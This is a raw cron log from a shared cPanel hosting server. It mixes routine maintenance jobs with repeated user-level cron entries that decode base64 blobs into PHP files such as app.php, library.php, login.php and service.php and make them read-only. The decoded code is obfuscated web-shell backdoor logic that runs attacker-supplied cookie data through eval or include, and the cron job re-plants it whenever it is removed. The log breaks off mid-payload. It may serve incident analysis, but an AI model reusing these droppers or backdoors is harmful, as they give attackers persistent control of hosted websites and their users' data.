Mar  1 20:58:01 medusa CROND[8264]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:58:01 medusa CROND[8266]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:58:01 medusa CROND[8271]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:58:01 medusa CROND[8276]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:58:01 medusa CROND[8280]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:58:01 medusa CROND[8289]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 20:59:02 medusa CROND[28995]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:59:02 medusa CROND[28996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:59:02 medusa CROND[28998]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 20:59:02 medusa CROND[28999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:59:02 medusa CROND[29000]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:59:02 medusa CROND[29002]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:59:02 medusa CROND[29005]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:59:02 medusa CROND[29006]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/espacio/caja/cron_caja.php > /dev/null)
Mar  1 20:59:02 medusa CROND[29008]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/caja/cron_caja.php > /dev/null)
Mar  1 20:59:02 medusa CROND[29010]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:59:02 medusa CROND[29011]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:59:02 medusa CROND[29012]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:59:02 medusa CROND[29014]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:59:02 medusa CROND[29017]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:00:01 medusa CROND[17046]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 21:00:01 medusa CROND[17106]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 21:00:01 medusa CROND[17108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:00:01 medusa CROND[17152]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 21:00:02 medusa CROND[17478]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 21:00:02 medusa CROND[17480]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 21:00:02 medusa CROND[17482]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:00:02 medusa CROND[17483]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:00:02 medusa CROND[17484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 21:00:02 medusa CROND[17481]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 21:00:02 medusa CROND[17479]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 21:00:02 medusa CROND[17485]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 21:00:02 medusa CROND[17494]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:00:02 medusa CROND[17487]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 21:00:02 medusa CROND[17495]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:00:02 medusa CROND[17492]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 21:00:02 medusa CROND[17488]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 21:00:02 medusa CROND[17486]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 21:00:02 medusa CROND[17508]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 21:00:02 medusa CROND[17509]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 21:00:02 medusa CROND[17516]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 21:00:02 medusa CROND[17505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:00:02 medusa CROND[17518]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:00:02 medusa CROND[17519]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0Z